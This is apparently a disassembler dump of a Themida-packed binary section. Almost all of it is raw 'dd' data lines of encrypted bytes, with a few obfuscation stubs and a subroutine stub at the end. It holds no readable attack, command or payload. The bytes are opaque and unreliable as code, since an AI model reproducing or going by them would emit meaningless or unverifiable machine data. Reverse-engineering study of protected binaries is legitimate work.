dd 24152610h, 0BF8A7560h, 0ADD2C8E3h, 8FF820E5h, 1CDD2C98h
dd 28D612FCh, 5080DB16h, 3C8D727Dh, 0AE349F83h, 0E00C09BCh
dd 6BC632CAh, 0BF75E160h, 0AD5A73E3h, 0AD1BC8B2h, 0F22C20E5h
dd 0D18F7F26h, 0E98224C1h, 0AD9824C1h, 0FA8720E5h, 0C68BB226h
dd 0C5F08CD9h, 24731C18h, 76282464h, 0C77566EEh, 0AEEB71E5h
dd 8D8120E5h, 2499E3BCh, 2C6404A9h, 0BB3404A1h, 0EC1820E5h
dd 0D2C5E3B4h, 0AD0AC967h, 199920E5h, 0EA4A21F6h, 0C4D9668Fh
dd 189FFCECh, 0AB2211E4h, 0A1A1ADE4h, 288126F7h, 0AB13A29Fh
dd 4556208Fh, 0AD8120E6h, 0F0037DC5h, 0A9444C6Ch, 0A9146464h
dd 0AD1820FEh, 0DCCF75A0h, 0F36A0B47h, 445CC877h, 0AD8120E3h
dd 2211FC65h, 7D9FD9C1h, 24C697EAh, 0BF31F160h, 28CAD5E3h
dd 0AB143524h, 0FF034AB6h, 0AD81230Dh, 6E9A00E5h, 8934A9BFh
dd 8974A1E1h, 0AD1834E1h, 6E5E62E5h, 0AD02C8D0h, 69B020E5h
dd 5A0AF8FDh, 8984ABB5h, 0AD65C9E1h, 0CB4220E5h, 268C1308h
dd 8948A9E5h, 0AD0DC8E1h, 0F47C20E5h, 4190E47Ch, 53B1B34Bh
dd 0CC00707Ah, 0C76879BCh, 0AEF070E5h, 8D0C20E5h, 245EE3BDh
dd 2C0704A1h, 0BA8504A1h, 0EDC020E5h, 6493E3B5h, 5FB1F8DDh
dd 0B279DBFFh, 9C0D951Ah, 0AD6C26F7h, 0AD00C8B3h, 0F3A120E5h
dd 0D9497E26h, 0E9E124C1h, 0AD2D24C1h, 0FB5E20E5h, 9673D826h
dd 97F5587h, 44D86707h, 0AD8120E3h, 0D53021F3h, 20956AE5h
dd 0B8B25A60h, 0C7C8DFE3h, 0AEE476E5h, 8D0620E5h, 245DE3BBh
dd 2C850491h, 0B8C404A1h, 0EB6020E5h, 0D761E3B3h, 849DA91Ch
dd 0C70A32C5h, 0AEEE75E5h, 8D0320E5h, 24DCE3B8h, 2CC40489h
dd 0B86404A1h, 0E83020E5h, 0E743E3B0h, 9FF1B56Eh, 28C026F7h
dd 0AB113524h, 5C34A9A2h, 45C632CBh, 0AD6020E1h, 1AEEFD4Ch
dd 0AD16A8EAh, 445A20E5h, 0AD0620E2h, 0CACEC6A1h, 0F7D9F7E4h
dd 45A040B5h, 0AD6020ECh, 0DD557171h, 0CCF7114Fh, 0CB6D7B81h
dd 0CCF3D15Fh, 0A927646Eh, 0D3897D5Bh, 0CBC0ABE5h, 0E9E9D36Eh
dd 7BBB24C1h, 0D08D0BBDh, 520A32F2h, 0BF372150h, 0FB034AE3h
dd 0AD81230Dh, 6E9E00E5h, 8914A9BBh
dd 8974A1E1h, 0AD1835E1h, 6E5A66E5h, 0A8EE2352h, 0D10320E5h
dd 9A79FB7Fh, 1781FF64h, 203953F2h, 0B8B25A60h, 0FB184AE3h
dd 0AD0C230Dh, 6E5800E5h, 8977A9BBh, 89C5A1E1h, 0ADC039E1h
dd 6E3666E5h, 7A8A1720h, 0A6F1C46Eh, 0DF0C20E5h, 0C8E82109h
dd 9892DD62h, 43013B68h, 2410DFA9h, 0BF4D3D60h, 2CBD2BE3h
dd 6B1E32C8h, 0BF19E160h, 0AD6C67E3h, 0AD00C8B5h, 0F5A120E5h
dd 0E9497826h, 0E9E124C1h, 0AD2924C1h, 0FD5820E5h, 5815DA26h
dd 0FBD9D9DAh, 80829DC6h, 24DB26F7h, 0BFDF2560h, 0AD64C8E3h
dd 0BD4A20E5h, 0CD4AA139h, 9C0372B5h, 548D78BFh, 26537A84h
dd 89C5AB12h, 0ADC9C9E1h, 0DFB920E5h, 0A98514F0h, 26BFB8BDh
dd 245377E5h, 0FD0204A1h, 0AD17C8B7h, 265120E5h, 0CE9F2BFAh
dd 65C9EF78h, 41606375h, 0ECB483Ah, 0FF5C8C6Bh, 0F55C11EAh
dd 26322FBBh, 0F5D97A2Ah, 4596208Fh, 0AD6020E6h, 0F3F37EC5h
dd 0A93C546Ch, 0A9286464h, 0AD0620F3h, 14C076A3h, 6700C85Ch
dd 8D33EAECh, 9C61951Ah, 1A3F26F7h, 0FFCAA12Fh, 201D1829h
dd 0B8845A60h, 288A40E3h, 0AB931398h, 2C10DF84h, 0AF0B2002h
dd 50B5A9AAh, 0CB1E32F9h, 6B17415Ah, 0BF13E160h, 388867E3h
dd 0AB932704h, 0ADC0340Dh, 0E72466E5h, 3236A1D7h, 0CFFD68C8h
dd 1143A80Ah, 1A9467E6h, 0F388929Bh, 9B99818Dh, 2C30ABA7h
dd 8EDC04E1h, 26564872h, 0ACADDF15h, 0C70A32D4h, 0AEEE72E5h
dd 8D0320E5h, 24DBE3BFh, 2CC404B1h, 0B06404A1h, 0EF3020E5h
dd 6E7FE3B7h, 68EAAC6Bh, 34596101h, 0AD03310Ch, 0DAFBBCE5h
dd 0AD07E30Bh, 0F6461126h, 7CC9C992h, 2831E9E7h, 0AB1E23C8h
dd 0B7F3AD6Eh, 288E26F7h, 0AB94A29Fh, 0ADC02B0Ch, 0E127EDE5h
dd 0A1FE3BA3h, 1483E971h, 2885F01Ah, 0AB142778h, 4555208Fh
dd 0AD8120E6h, 0F3037EC5h, 0A944546Ch, 0A9146464h, 0AD1820F1h
dd 82CF76A3h, 0FC3CF45Ah, 24D3DFC0h, 0BF8AB558h, 3445A9E3h
dd 0C76632C6h, 0AED873E5h, 8D1820E5h, 2457E3BEh, 2C0204B9h
dd 0B60704A1h, 0EE8120E5h, 7954E3B6h, 0FC0BAE8Dh, 1756EC17h
dd 217E24D5h, 0C491A93Dh, 0A40032F3h, 0BF0F6578h, 0C78504E3h
dd 0AE2870E5h, 8D6020E5h, 2468E3BDh, 2C1C04A1h, 0B00804A1h
dd 0ED0620E5h, 1B5FE3B5h, 49F2AE05h, 1889C9C2h, 17209F83h
dd 293FE0EFh, 0AD18221Ah, 0AD25B56Eh, 28C026F7h, 0AB113524h
dd 853E46AAh, 6294891h, 63EBAF5Ch, 76142464h, 0C737E625h
dd 0AEE477E5h, 8D0620E5h, 245CE3BAh, 2C850499h, 0B8C404A1h
dd 0EA6020E5h, 39C0E3B2h, 12A8E565h, 88DAA6B1h, 9C07951Ah
dd 288A26F7h, 0AB93349Ch, 99AD9D6Eh, 28ED26F7h, 0AB25A29Fh
dd 0AD11A5EAh, 546C20E5h, 0BA17AD6Eh, 2D6226F7h, 7D7E1C30h
dd 0C7E4E066h, 0AE8871E5h, 8D3020E5h, 2441E3BCh, 2C0804A9h
dd 0B10204A1h, 0EC0320E5h, 1E1FE3B4h, 20F7FE08h, 24205670h
dd 0BF001160h, 0FE184AE3h, 0AD0C230Dh, 6E5D00E5h, 895FA9BEh
dd 89C5A1E1h, 0ADC038E1h, 6E3363E5h, 0F8E45F6Eh, 6C95A9AAh
dd 260A32CFh, 0BF25B960h, 0FF034AE3h, 0AD81230Dh, 6E9A00E5h
dd 8934A9BFh, 8974A1E1h, 0AD183CE1h, 6E5E62E5h, 0B29E002Fh
dd 56A44F9Bh, 301CAB25h, 0C7C632E2h, 0AE8871E5h, 8D3020E5h
dd 2441E3BCh, 2C0804A9h, 0B90204A1h, 0EC0320E5h, 447EE3B4h
dd 0ADC020E8h, 0F939C072h, 9EB833E8h, 2B96FD24h, 648D63E9h
dd 0ABC42F46h, 0B6887AB4h, 45D4208Fh, 0ADC020E6h, 0F0A37DC5h
dd 0A9144C6Ch, 0A93C6464h, 0AD0C20F0h, 16C575A0h, 9096AB8Ch
dd 268732F1h, 0FCC04AFEh, 0AD60230Dh, 6E6900E5h, 8954A9BCh
dd 8948A1E1h, 0AD063DE1h, 6E5261E5h, 763FFA65h, 0CF1C3B79h
dd 0B6EB5CA5h, 0AD36A5EAh, 309120E5h, 0AB1E13BCh, 3805F8D6h
dd 0AB1114A4h, 890CBD6Ch, 0ADAA26F7h, 0AD63C8B7h, 0F71020E5h
dd 0F9917A26h, 0E98D24C1h, 0AD1E24C1h, 0FF4120E5h, 0A4887C26h
dd 0A2281559h, 716020E5h, 0A6B43466h, 439FA027h, 97188936h
dd 5466DEBDh, 0CCD5AB83h, 6C04E6BBh, 0EAC632F0h, 0BF08D76Eh
dd 26A84DA4h, 892CA117h, 82BFBC5Eh, 9C07951Ah, 0AD6926F7h
dd 0AD82C8B6h, 0F6E020E5h, 0F1E97B26h, 0E9B124C1h, 0AD0E24C1h
dd 0FE4F20E5h, 2F78A826h, 0A18E956Ch, 280C26F7h, 0ABD5A29Fh
dd 4536208Fh, 0AD3020E6h, 0F3DB7EC5h, 0A928546Ch, 0A9226464h
dd 0AD0320F0h, 624276A3h, 0AB4A2F76h, 266020E5h, 0BF265950h
dd 0C7C8DFE3h, 0AEE473E5h, 8D0620E5h, 2458E3BEh, 2C8504B9h
dd 0B0C404A1h, 0EE6020E5h, 0A901E3B6h, 80DB3CC1h, 693A0901h
dd 0AD06ADEAh, 202A20E5h, 0AB930998h, 80DDA56Ch, 0AD0A26F7h
dd 0AD33C8B2h, 0F23820E5h, 0D1857F26h, 0E98724C1h, 0AD1624C1h
dd 0FAC620E5h, 8457CF26h, 0BF7CFD60h, 0AD5A60E3h, 0AD1BC8B4h
dd 0F42C20E5h, 0E18F7926h, 0E98224C1h, 0AD9B24C1h, 0FC8120E5h
dd 0ECC02726h, 784B3A6h, 26EBAB83h, 5C8746E5h, 0AD6C206Eh
dd 0AD00C8B0h, 0F0A120E5h, 0C1497D26h, 0E9E124C1h, 0AD2A24C1h
dd 0F85D20E5h, 54B2A826h, 85C5896Dh, 8DCEA56Ch, 280826F7h
dd 0ABD23398h, 0AD61320Ch, 3085ABE5h, 201E32EEh, 0B8B10660h
dd 36F4A1E3h, 0FD0289BFh, 0AD85ADEAh, 17A620E5h, 0A9E96DA0h
dd 5AB140C1h, 0F1B6A0C5h, 0AD0AADEAh, 388F20E5h, 0AB1128FCh
dd 3014DF84h, 44C632CDh, 0AD6020E0h, 70971137h, 267E4061h
dd 6089AB1Bh, 0CC0032F9h, 102FBD68h, 0FCE126F0h, 8BF5AD6Eh
dd 553F26F7h, 26567084h, 8904A92Eh, 455B208Fh, 0AD0620E6h
dd 0F2C07FC5h, 0A9A55C6Ch, 0A9E46464h, 0AD6020FEh, 0FEF377A2h
dd 0DA008AB4h, 2CC5D219h, 962BF82Ch, 0FC96239Eh, 3D8732E5h
dd 0A228B0B5h, 8F6020E5h, 6C315B2h, 238E4608h, 66FFF56Ch
dd 200924FCh, 0AD0320F4h, 0AD812C0Ch, 0ED7182E5h, 0C07D0010h
dd 0B29CA942h, 38E77A87h, 0AB1E0A88h, 4556208Fh, 0AD0320E6h
dd 0F54278C5h, 0A9E4646Ch, 0A9446464h, 0AD3020FDh, 79DB70A5h
dd 15DBC17Bh, 9D37A56Ch, 0AD6926F7h, 0AD82C8B2h, 0F2E020E5h
dd 0D1E97F26h, 0E9B124C1h, 0AD0D24C1h, 0FA4B20E5h, 0CBE7AC26h
dd 6BE4EC5Bh, 0BF94E160h, 6B4173E3h, 0C1B727DDh, 0E6E5208Dh
dd 0AD912F64h, 2C0C20E5h, 27904E1h, 0BFEB09DEh, 8120E5h
dd 0BFC33935h, 9952CFC9h, 0D4F6BDDDh, 0D322AAF2h, 0AD00C9B9h
dd 0A46220E5h, 0AD0B1364h, 2E2BCA5Fh, 5299F52Fh, 0BF512150h
dd 88DA9E3h, 261E32F1h, 0BF380170h, 0D783ADE3h, 0C7053567h
dd 0AE6977E5h, 8DC020E5h, 243FE3BAh, 2C340499h, 0BA1C04A1h
dd 0EA0C20E5h, 8691E3B2h, 20307566h, 0AB930FFCh, 7D3F4A53h
dd 8001AD6Eh, 28B926F7h, 0AB0A0C30h, 455A208Fh, 0AD0620E6h
dd 0F3C07EC5h, 0A9A5546Ch, 0A9E46464h, 0AD6020FFh, 4EF376A3h
dd 0C562DF3Fh, 28CA4341h, 0AB143524h, 0AB8A2FA2h, 9C8120E5h
dd 0BFC36960h, 24E529E3h, 0C53632C4h, 53CF4107h, 0DF281464h
dd 0C7598591h, 0AEEB72E5h, 8D8120E5h, 249AE3BFh, 2C6404B1h
dd 0B53404A1h, 0EF1820E5h, 0E0A8E3B7h, 0A22F1199h, 0AD032561h
dd 0BEF89FE5h, 183F3291h, 0AB7211E4h, 0AD30330Ch, 9DA01FE5h
dd 0C6FF5519h, 0A55AB21h, 5245D3Ah, 169D5C47h, 0ADC5A3EAh
dd 9ED920E5h, 2073BADDh, 0B89A5A60h, 0FD0C4AE3h, 0AD06230Dh
dd 6E5B00E5h, 89C5A9BDh, 8984A1E1h, 0AD6034E1h, 6E6060E5h
dd 2D7A954Ah, 7DF3C73Fh, 769FD264h, 288A4924h, 0AB933A04h
dd 0ADC6ABEAh, 10EB20E5h
dd 0AB22342Ch, 0B8D9A523h, 0C75F26F7h, 0AEEE76E5h, 8D0320E5h
dd 24DFE3BBh, 2CC40491h, 0B76404A1h, 0EB3020E5h, 0B498E3B3h
dd 0C5A42DB6h, 0F48321E7h, 0A20532FFh, 0F3E9E85Ah, 2CA2A72Dh
dd 3A5204E1h, 10311654h, 0AB0A007Ch, 9C0D951Ah, 0AD6C26F7h
dd 0AD00C8B0h, 0F0A120E5h, 0C1497D26h, 0E9E124C1h, 0AD2624C1h
dd 0F85D20E5h, 0B3D1F126h, 2F7CA568h, 0AD6926F0h, 0AD82C8B5h
dd 0F5E020E5h, 0E9E97826h, 0E9B124C1h, 0AD0524C1h, 0FD4C20E5h
dd 2D747226h, 4B73F132h, 0A2B88644h, 0ADC02564h, 47F09FE5h
dd 7DCF7CC6h, 0AB912F85h, 240C20E5h, 0BF106570h, 68BEA9E3h
dd 0CC8732EBh, 8A41A56Ch, 0AD0A26F7h, 0AD33C8B4h, 0F43820E5h
dd 0E1857926h, 0E98724C1h, 0AD1F24C1h, 0FCC020E5h, 25A33C26h
dd 9309F486h, 18B9837Ch, 0AB0A09D0h, 0B8CDA523h, 0C75126F7h
dd 0AEEB72E5h, 8D8120E5h, 249AE3BFh, 2C6404B1h, 0B13404A1h
dd 0EF1820E5h, 9678E3B7h, 0F40003E4h, 242721E7h, 0BF97CD60h
dd 9A1E48E3h, 0FF30D89Ch, 0AD32A5EAh, 0CC7820E5h, 0F55611EAh
dd 75221464h, 0C76B5D80h, 0AE6975E5h, 8DC020E5h, 243DE3B8h
dd 2C340489h, 0B81C04A1h, 0E80C20E5h, 0C2E2E3B0h, 429A9A83h
dd 9C80951Ah, 0ADAA26F7h, 0AD63C8B6h, 0F61020E5h, 0F1917B26h
dd 0E98D24C1h, 0AD1F24C1h, 0FE4020E5h, 0B13B7A26h, 8EC5017Ch
dd 0BF793558h, 0D7B5ADE3h, 131E3567h, 89C619FDh, 0AD6CF01Ah
dd 0AD00C8B5h, 0F5A120E5h, 0E9497826h, 0E9E124C1h, 0AD2B24C1h
dd 0FD5820E5h, 6BC73A26h, 7289B2EAh, 0AD0EC970h, 0EDA520E5h
dd 8D848CBh, 448D344Fh, 246202B2h, 0BF0C5560h, 0FD0C4AE3h
dd 0AD06230Dh, 6E5B00E5h, 89C5A9BDh, 8984A1E1h, 0AD603BE1h
dd 6E6060E5h, 0E6FCB779h, 7ED2112Eh, 88E7AD6Ch, 28C526F7h
dd 0AB933524h, 0F8C04AA6h, 0AD60230Dh, 6E6D00E5h, 8974A9B8h
dd 8948A1E1h, 0AD0635E1h, 6E5665E5h, 0A969327Ah, 85C020E5h
dd 26DCB095h, 0E9BB701Eh, 0AD9324C1h, 0F2C4ABB2h, 0A922646Ch
dd 845BE86Eh, 0BFA75D70h, 0AC75DFE3h, 0CD6632D4h, 0CD6BCE65h
dd 0AD1DC910h, 683D20E5h, 0CC763310h, 0D786AD84h, 0C7873567h
dd 0AE2875E5h, 8D6020E5h, 246DE3B8h, 2C1C0489h, 0B00804A1h
dd 0E80620E5h, 0BEC2E3B0h, 3376F379h, 2FEF0247h, 0BC11AD6Eh
dd 7DCF26F7h, 454A208Fh, 0AD0C20E6h, 0F7C57AC5h, 0A927746Ch
dd 0A9A56464h, 0ADC020F1h, 0DBA372A7h, 0BFF9B56Eh, 289126F7h
dd 0AB1E09D4h, 4553208Fh, 0AD0320E6h, 0F0427DC5h, 0A9E44C6Ch
dd 0A9446464h, 0AD3020FDh, 0F1DB75A0h, 95116D32h, 9DF3956Eh
dd 288E26F7h, 0AB949DF9h, 0B6419D6Ch, 0FBF026F7h, 0F2E1AB83h
dd 38E7B0B5h, 0AB1E0878h, 4553208Fh, 0AD0320E6h, 0F0427DC5h
dd 0A9E44C6Ch, 0A9446464h, 0AD3020FDh, 0DDDB75A0h, 0BEEF3F56h
dd 0B4CBAD6Eh, 308A26F7h, 0AB9312C4h, 12A6F86Eh, 28ED8164h
dd 0AB259DF5h, 0B59DB56Ch, 0CB9C26F7h, 0A256DE6Eh, 0AD033163h
dd 0CCE140E5h, 0ADC0280Ch, 253CF3E5h, 314A3BB7h, 0C788416Dh
dd 0AEE475E5h, 8D0620E5h, 245EE3B8h, 2C850489h, 0BAC404A1h
dd 0E86020E5h, 58D3E3B0h, 0FD8BDEA4h, 0FE0C4A76h, 0AD06230Dh
dd 6E5800E5h, 89DDA9BEh, 8984A1E1h, 0AD6035E1h, 6E6363E5h
dd 4299C330h, 0EF8C817Bh, 876BB51Ah, 7EB926F7h, 2484CA16h
dd 0BFCC8960h, 0FC604AE3h, 0AD30230Dh, 6E4100E5h, 8940A9BCh
dd 8942A1E1h, 0AD033DE1h, 6ED061E5h, 5B005AC2h, 276DF56Eh
dd 59BA77FDh, 0AAFDA522h, 0AD0326F7h, 120920E5h, 496DF1Ch
dd 0C78732E9h, 0AE2870E5h, 8D6020E5h, 2468E3BDh, 2C1C04A1h
dd 0B90804A1h, 0ED0620E5h, 24C1E3B5h, 0BF98E960h, 0F07DABE3h
dd 456632C4h, 0AD3020F7h, 0DE45C787h, 0BF870518h, 0CACBC6A1h
dd 985BF7E4h, 44D25B1Bh, 0ADC020E3h, 0C6F82C17h, 0F36E9C8Eh
dd 0B845A56Eh, 308126F7h, 0AB13EF19h, 2002636Ch, 0BF8A8158h
dd 7B75ADE3h, 1466352Ah, 0AD3020D6h, 9EF38416h, 0AD0C205Dh
dd 0D9C62BE5h, 0AD1BE2E6h, 0A1A5646Eh, 0ADC0C8B6h, 2C3B20E5h
dd 0AD303726h, 8944A9E5h, 8948A9F5h, 9ABE7BF1h, 5203921Fh
dd 89C5AB05h, 8E20DFE1h, 0BF499568h, 62BB46E3h, 4549208Fh
dd 0AD0C20E6h, 0F4C579C5h, 0A9276C6Ch, 0A9A56464h, 0ADC020FCh
dd 32A371A4h, 0BA8A57F3h, 0A9972F30h, 0CB0C20E5h, 0CC20A65Fh
dd 4551208Fh, 0AD8120E6h, 0F7037AC5h, 0A944746Ch, 0A9146464h
dd 0AD1820FFh, 0A1CF72A7h, 7F6ADFD9h, 7E880820h, 10919D68h
dd 204D26F0h, 0AB75F09Bh, 8B9B155Dh, 6C9D137Dh, 860A32CCh
dd 6ECDE12Ah, 0B2AD6CE0h, 0E5AD00C8h, 26F2A120h, 0C1D1497Fh
dd 0C1E9E124h, 0E5AD2624h, 0F305E983h, 6AD98BA4h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 3CB8C350h, 7DA6EDEBh, 8D8B8168h, 6120385h, 7BE9h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 9E3B5BEAh, 52006A61h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1704h, 0C3524200h, 2AD04842h, 10E860h, 0EEE80000h, 53517A4Eh
dd 6A05A685h, 87D6691Ch, 0D9808814h, 0BE95F7Eh, 77000000h
dd 1012BF2Ah, 1811D81Ah, 0C3611D04h, 0BE9h, 0E09D9A00h
dd 0B1EBD02Fh, 4CCE5B2Fh, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 150424h, 56460000h, 0F9C7BBC3h, 1BD83F9h
dd 6122Fh, 0BD830975h, 6122149h, 50197400h, 0B8C08B53h
dd 4B9h, 2B98589h, 9D8D0612h, 614AD70h, 585BD3FFh, 2149BD83h
dd 74000612h, 0B8535017h, 4B9h, 2B98589h, 9D8D0612h, 614AA11h
dd 585BD3FFh, 13E9h, 86254600h, 0FB8101A9h, 0A67B5B2Ah
dd 0D77233A3h, 61476893h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 74C35343h, 0A2655B5Ch, 0F9BBDA97h, 5E9h
dd 88D96A00h, 0C08B1F89h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 6AC35545h, 8BC68B60h, 40FC61C6h, 8960C18Bh
dd 121DE1B5h, 3860F06h, 80000000h, 0EB6175D9h, 4, 0FBB70F00h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 65C35747h
dd 8DD8A2ECh, 12006585h, 68D0F06h, 29000000h, 12331DBDh
dd 50FB8B06h, 0DE96052h, 2F000000h, 0B3481BF8h, 4FA8AD7h
dd 427A99F7h, 9E71B966h, 4895E61h, 51006A24h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 951C566Dh
dd 0F8B70F4Fh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 0E21640C3h, 6F352B51h, 6A006Ah
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 0F9096CC3h, 3AC74DB1h, 0BD038F09h, 6121C9Dh, 0D402858Dh
dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
dd 53430000h, 45A3A0C3h, 5C083EDh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 16h, 48C35747h, 5090FD76h, 7B5ABE66h
dd 0C5950990h, 6A061214h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1A04h, 0C3504000h, 6C1BCCA0h
dd 6A87DC2Eh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1C04h
dd 0C3504000h, 268951F0h, 0D515FD23h, 5595FF77h, 8B06120Bh
dd 122FD5BDh, 31B58B06h, 8D06120Fh, 159BCA9Dh, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h
db 4
dword_5B8EA1 dd 1Ah ; ---------------------------------------------------------------------------
inc ecx
push ecx
retn
; ---------------------------------------------------------------------------
dd 5FECD01Ah, 89B3DC9Ah, 1222FDBDh, 0E9D3FF06h, 6, 0ABAE947Bh
dd 8166175Eh, 0FF51FFE6h, 12123585h, 0AE906h, 8A4B0000h
dd 55D77416h, 8A9BA460h, 705E9h, 0E800h, 815D0000h, 15D40CEDh
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 0E95D6A0Ch, 7, 0B53D64BBh, 81504693h, 1207E5BDh
dd 7D006h, 4F860F00h, 8B000001h, 1223ED9Dh, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 4EBE66C3h, 0E3815Dh, 81000001h, 2D326CEFh, 0FDB0B3Ah
dd 0CB85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1604h, 0C3534300h, 83D1D1E6h, 15D233BDh, 840F0006h
dd 4Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h
dd 65C35040h, 2880F60h, 8B000000h, 86E9F9h, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 2A6908C3h, 0AD306F31h, 0D23385C7h, 10615h, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 0F706A9C3h, 8190C27Bh, 0D47AC4D7h, 2EE932h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 0F540B1C3h, 0D23385C7h, 615h, 0B58B0000h, 61233A9h
dd 23ED9D8Dh, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 66BE3FC3h, 0F022BD61h, 9135E781h
dd 2381545Bh, 0FFFFFEFFh, 29F18589h, 8C660612h, 51006ADBh
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 4C3F6F6h, 17840Fh, 95FF0000h, 6120CA9h, 50F8B70Fh, 5EF98B50h
dd 8B240489h, 121A3DBDh, 438E906h, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 180424h, 50400000h, 5B4917C3h
dd 0F88B3450h, 0FB18DBFh, 6A00B05Eh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 7D3AC357h
dd 4D860154h, 6E883D6h, 16000000h, 0C1A7F5F1h, 0BE665FC9h
dd 70E620D1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ah, 0CFC35747h, 52F918CCh, 7E9F5E2h, 71000000h, 0D14E47DFh
dd 8B665409h, 6A71E4F7h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1B042444h, 43000000h, 0E572C353h, 0C6D3DDC4h
dd 0B60FBF47h, 50006AD8h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1C04h, 0C3504000h, 0A08F2D84h, 0BB4C8AF9h
dd 6BAAEh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 190424h, 53430000h, 2E3996C3h, 29E99747h, 1223F1B5h
dd 6AC38B06h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 6AC5C350h, 0A191715Ch, 13E95Fh
dd 0E0690000h, 589EAD3Bh, 4B25BD22h, 2F8A1AAAh, 0E39123DAh
dd 4E8C15Dh, 0BFE2F766h, 53B17ED0h, 8D31D82Bh, 6121A2Dh
dd 10E850h, 0ABA50000h, 22AD77CFh, 1CF4D400h, 90230BB3h
dd 0F98BD314h, 241C895Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 0D4C35141h, 56757118h, 0FFFCFC34h, 1207E5B5h
dd 68A0F06h, 8B000000h, 1203F1BDh, 0D195FF06h, 6A061229h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 1FF7C353h, 40F37CC7h, 0B0F98B27h, 159D2900h
dd 0E6061200h, 0B1BD8B70h, 2906122Ah, 122911B5h, 6A71E406h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
dd 47000000h, 9447C357h, 9685039Ah, 613CED23h, 224830Fh
dd 6CBF0000h, 0F70AC7Eh, 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 190424h, 53430000h, 95E0C3C3h, 10BC4EBh
dd 121FB985h, 0F350BE06h, 6BA55FFh, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 239FC351h, 36755144h, 6AC38BF8h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 84A3C357h
dd 0B58B1E68h, 6122EE5h, 5704E8C1h, 1601BD8Bh, 665F0612h
dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 9D18F0C3h, 664C34E6h, 0D82BF98Bh, 1C9DB589h
dd 56580612h, 19B58589h, 2B5E0612h, 57880FD8h, 6A000001h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h
dd 45000000h, 8239C355h, 8B3AA8EFh, 1229C5B5h, 7B906h
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
dd 55450000h, 0C1830DC3h, 10E900h, 3E940000h, 0E968151Eh
dd 55D29C04h, 18A68EBDh, 0D93BF083h, 0F0860Fh, 66F50000h
dd 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
dd 57470000h, 4D8775C3h, 0BD298B4Dh, 61203A1h, 0F04C1F6h
dd 0B984h, 0A995FF00h, 6A06120Ch, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0E314C355h
dd 0E141CE36h, 658D8910h, 5B06122Ch, 0DE9h, 0D767B300h
dd 88ACC4AEh, 169C6882h, 0C32B4966h, 1B018589h, 343D0612h
dd 0F000008h, 6586h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 6126A734h, 0C55DBFDh
dd 2360F045h, 122109BDh, 37E96106h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
dd 60AAC350h, 0F07685A3h, 60F8B70Fh, 1860Fh, 8BF50000h
dd 122BF58Dh, 0C08B6106h, 0C38BF78Bh, 0FE8BD88Bh, 13DD85C7h
dd 41950612h, 0B70F3AB0h, 66C08BF7h, 0BD81FA8Bh, 61207E5h
dd 7D0h, 2E850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 43C7CCC3h, 0F08B9BF9h
dd 7E585FFh, 850F0612h, 0
; ---------------------------------------------------------------------------
push dword ptr [ebp+61207E5h]
push 0
push edx
call sub_5B9559
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B9559 proc near ; CODE XREF: Themida_:005B9551p
arg_4 = dword ptr 8
pop edx
